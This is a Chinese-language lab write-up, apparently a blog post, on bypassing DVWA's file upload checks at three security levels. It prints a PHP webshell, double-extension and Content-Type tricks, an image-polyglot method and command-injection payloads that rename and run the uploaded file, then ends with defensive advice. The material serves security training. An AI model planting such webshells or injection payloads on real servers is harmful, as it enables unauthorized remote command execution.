前言
文件上传功能是 Web 应用中非常常见的一种功能,用于上传头像、文档、图片等文件。但如果验证不当,攻击者可能上传恶意脚本,进而控制服务器。在 DVWA 中,File Upload
模块专门设计用于演练此类漏洞的不同防御等级。
一、Low 级别
漏洞描述
在 Low 模式下,DVWA 对文件上传几乎没有任何限制。文件类型和后缀不检查,也没有重命名或路径限制。
前言
- 打开FileUpload的时候看到有红色的报错信息如图所示:
报错一:Incorrect folder permissions: /var/www/html/dvwa/hackable/uploads/
Folder is not writable.文件夹权限不正确:文件夹不可写。
报错二:The PHP module GD is not installed.未安装PHP模块GD。
(1)以下命令可解决。
chmod 777 /var/www/html/dvwa/hackable/uploads #设置文件夹权限
$ apt-get install php-gd #安装php-gd
(2)如果上面安装php-gd不成功显示404,则可以使用以下命令,注意:更新操作需谨慎,最好设置快照.
$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
$ sudo apt update
$ apt-get install php-gd
使用以上命令成功解决!
- 准备一个简单的 PHP WebShell 文件,例如:
<?php system($_GET['cmd']); ?>
保存为:test.php
-
上传该文件
-
上传成功后页面会显示路径
-
访问 WebShell 并传参执行命令:
http://ip/DVWA/hackable/uploads/test.php?cmd=whoami
你会看到系统用户名,证明远程命令执行成功 。
二、Medium 级别
防御机制
Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。
绕过技巧
方法一:双扩展绕过
将木马命名为:
test.php.jpg
上传后页面会显示路径为:
Uploaded to: /hackable/uploads/test.php.jpg
浏览器仍可解析并执行其中的 PHP 代码!
尝试访问:
http://ip/dvwa/hackable/uploads/test.php.jpg?cmd=ls
如果服务器启用了 .jpg
文件中 PHP 解析(常见于 Apache 旧配置),会成功执行。
方法二:使用 Burp Suite 拦截修改 Content-Type
-
正常选择
.png
文件 -
用 Burp 拦截请求
-
修改
filename="test.php"
,并将 Content-Type 保持为image/png
,并修改文件内容为之前php的内容 -
转发请求并观察上传结果,发现成功上传
三、High 级别
防御机制
- 检查文件扩展名必须为图像
- 检查 MIME 类型是否为
image/*
- 对上传文件进行重命名
- 通过
getimagesize()
检查是否真的是图片文件
绕过方式(难度提升)
在high中,加上了文件名后缀的校验,和校验文件的像素大小。要绕过 getimagesize()
检查,可以使用工具 Veil-Evasion 或制作带图片头的 WebShell。
方法一:嵌入图片头(伪装图片)
首先可以利用cmd.exe将的dos模式下,通过copy将png文件和php文件以二进制的形式合并。然后在将文件上传到服务器上。在通过命令注入漏洞去获取文件路径并修改文件后缀,就可以传入命令远程执行。
- 在cmd的dos模式下,将png文件和php文件内容合并起来:
copy test.png /b + test.php new_test.png
使用notepad++打开,发现new_test.png文件最后存在php文件内容
-
将
new_test.png
上传,此时我们可以看到这个文件的相对路径。
-
利用命令注入(Command Injection)查看当前路径, High 级别使用管道符 |;可以查看到当前路径为
/var/www/html/DVWA/vulnerabilities/exec
。然后看到浏览器地址,这其实相对应。
127.0.0.1|pwd
- 我们需要将new_test.png改为new_test.php文件,仍然利用命令注入漏洞。
127.0.0.1|mv ../../hackable/uploads/new_test.png ../../hackable/uploads/new_test.php
- 然后我们尝试查看这个php文件内容
127.0.0.1|cat ../../hackable/uploads/new_test.php
- 我们再执行以下代码,你会看到系统用户名,证明远程命令执行成功。
http://192.168.81.130/DVWA/hackable/uploads/new_test.php?cmd=whoami
防御建议
- 严格限制上传文件的类型和 MIME(双重检查)
- 使用
getimagesize()
验证图像有效性 - 对上传文件进行改名并存储在不可执行路径
- 配置 Web 服务不解析上传目录下的
.php
、.phtml
文件 - 结合 WAF(Web应用防火墙)对上传行为进行实时监控
总结
安全等级 | 防御机制 | 绕过方式 |
---|---|---|
Low | 无限制 | 直接上传 .php |
Medium | 检查扩展 | .php.jpg 、Burp 改名 |
High | MIME 检查、getimagesize、重命名 | 伪装图片 + 短标签注入 |
文件上传漏洞常见但危害极大,DVWA 为我们提供了一个非常好的学习平台。希望这篇文章能帮助你理解其本质与绕过手法,也提醒开发人员:文件上传功能永远需要最严格的验证机制。